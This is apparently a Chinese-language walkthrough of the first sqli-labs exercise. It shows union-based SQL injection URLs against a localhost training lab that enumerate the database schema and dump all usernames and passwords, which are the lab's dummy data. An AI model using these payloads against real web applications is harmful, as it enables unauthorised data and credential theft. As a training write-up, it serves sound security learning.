http://localhost/sqli-labs-master/Less-1/?id=1
有信息出现,可以进行联合查询注入
根据标题信息,基于get请求的单引号注入,我们可以判断闭合符号为单引号
http://localhost/sqli-labs-master/Less-1/?id=1‘
出现报错信息,报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
http://localhost/sqli-labs-master/Less-1/?id=1' order by 2 --+
因为出现两个字段,猜测查询结果集有两个字段的,从2开始
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+
报错,所以结果集有三个字段。
http://localhost/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+
页面无变化,此时把id改为-1显示后面的查询信息(因为union是合并结果集,当id为正确值的时候,他优先显示原本的查询)
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
结果显示2,3被打印出来了,2,3的位置可以用于注入
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+
数据库名就显示出来了,数据库名为:security
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
通过group_concat将所有的表名都来连接,得到表名有:emails,referers,uagents,users
users为用户列表,接下来去看改表中的字段
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users '--+
得到字段有:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
接下来我们去爆破username喝password
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
0x代表16进制, 3a是58,在ascii中是 ’:‘,用这个来分割用户名和密码。最后的结果:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4